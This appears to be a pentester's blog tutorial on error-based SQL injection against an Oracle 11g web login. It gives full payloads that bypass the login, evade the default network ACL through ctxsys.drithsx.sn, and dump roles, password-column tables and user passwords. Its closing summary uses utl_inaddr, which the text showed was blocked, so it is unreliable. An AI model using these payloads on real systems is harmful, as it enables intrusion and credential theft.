This blog entry will show a SQL Injection example based on a JSP application (tnx to Slavik) and Oracle 11.1.0.7. An
Oracle SQL Injection Cheat Sheet is available on our webpage.
With Oracle 11g, Oracle introduced some security enhancements by
default, e.g. the ACL for PLSQL packages accessing the network. These
packages are UTL_HTTP, UTL_INADDR, UTL_TCP, … Some old well known tricks
like the usage of utl_inaddr are no longer working for non-DBAs in 11g…
The following tutorial will show how to bypass these restrictions and
will show some new tricks…
First we start with with a vulnerable webapp:
In this webapp we can login to an employee directory. If we try to
guess a valid combination, e.g. scott / tiger we are getting an error
message
OK, let’s try to use a single quote ‘ as a user login. And BANG - ERROR
“ORA-01756 - Anführungsstrich fehlt bei Zeichenfolge”.
If you do not speak german, you can lookup in
google for
the english translation of this error message. This is not uncommon to
receive an error message in a foreign language (if you work
internationally).
There are several website so I take the
first finding.
The translation is “ORA-01756: quoted string not properly terminated”.
This is a common error message of a SQL Injection vulnerability.
A typical SQL Injection string is
‘ or 1=1–
If we use this string, we are getting the following result:
By using ‘ or 1=1– we successfully logged on into the system. But we
are interested in the data not in the account of the webapp.
We are able to inject our own code. This page does not return data
from the database so the usage of UNION SELECT is not an option.
But what are now the next steps?
1. Enumeration of the database:
Let’s find out the version number of the Oracle database:
Now we try to inject the following command in the login field
‘ or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))–
Again an ORA-01756 error. This time it is a different problem. The
field for the login is limited to 50 characters but our string we are
injecting is longer. That’s why we are converting the POSTs to GETs.
The
webdeveloper plugin for firefox can do this (+ many other different ways like saving the webpage locally, removing restrictions online, …).
After doing the conversion from POSTs to GETs we can modify the injected string in the URL:
Again we are getting a german error message:
ORA-24247 Netzwerkzugriff von Access Control List (ACL) abgelehnt.
A quick lookup shows the english translation:
ORA-24247 network access denied by access control list (ACL)
OK, the default hardening from Oracle is working. We are not able to
send information via DNS or create a specially crafted error message
using
utl_inaddr.
I was looking for an alternative and I found the following function :
ctxsys.drithsx.sn
So we replace utl_inaddr with ctxsys.drithsx.sn (+ and one additional parameter).
Our new injection is looks like:
‘ or 1=ctxsys.drithsx.sn(1,(select banner from v$version where rownum=1))–
After injection this we are getting the following error message
ORA-20000: Oracle Text-Fehler
DRG-11701: Thesaurus Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production ist nicht vorhanden
The error message contains the Database version. The reason for this
behaviour is our injected string contains the result of the query
(select banner from v$version where rownum=1) in the error message. This
query returns the first row of v$version.
Injecting error messages is normally limited to 1 column and 1 row.
The limitation of 1 column can be bypassed using the string
concatenation || (col1||col2). To bypass the limitation of multiple
rows, most pentesters enumerate through the various columns using the
rownum.
But Oracle 11g offers a new function: stragg
This functions can convert multiple rows into a single row. In one of
the next tutorial I will show how to do this in Oracle 9 and 10. We
can now use the function stragg to get all columns in the error message:
‘ or 1=ctxsys.drithsx.sn(1,(select sys.stragg(distinct banner)||’ ‘ from v$version))–
Now we have everything to retrieve all data (according to our privileges) from the database
Let’s see what privileges we have
‘ or 1=ctxsys.drithsx.sn(1,(select sys.stragg(distinct granted_role||’;') from user_role_privs))–
We have CONNECT and RESOURCE role.
The next step is to get all tables with a password column:
‘ or 1=ctxsys.drithsx.sn(1,(select sys.stragg(distinct
owner||’.'||table_name||’['||data_type||’];’) from all_tab_columns where
column_name=’PASSWORD’))–
There is a table called SHOP.SHOPUSER. We are now using the following command to extract all passwords from this table.
‘ or 1=ctxsys.drithsx.sn(1,(select sys.stragg(distinct password||’;') from shop.shopuser))–
Using this approach we can retrieve all table content without using UNION SELECT from the table.
SUMMARY of the used injected commands:
‘ or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))–
‘ or 1=utl_inaddr.get_host_address((select sys.stragg(distinct granted_role||’;') from user_role_privs))–
‘ or 1=utl_inaddr.get_host_address((select sys.stragg(distinct
owner||’.'||table_name||’['||data_type||’];’) from all_tab_columns where
column_name=’PASSWORD’))–
‘ or 1=utl_inaddr.get_host_address((select sys.stragg(distinct password||’;') from shop.shopuser))–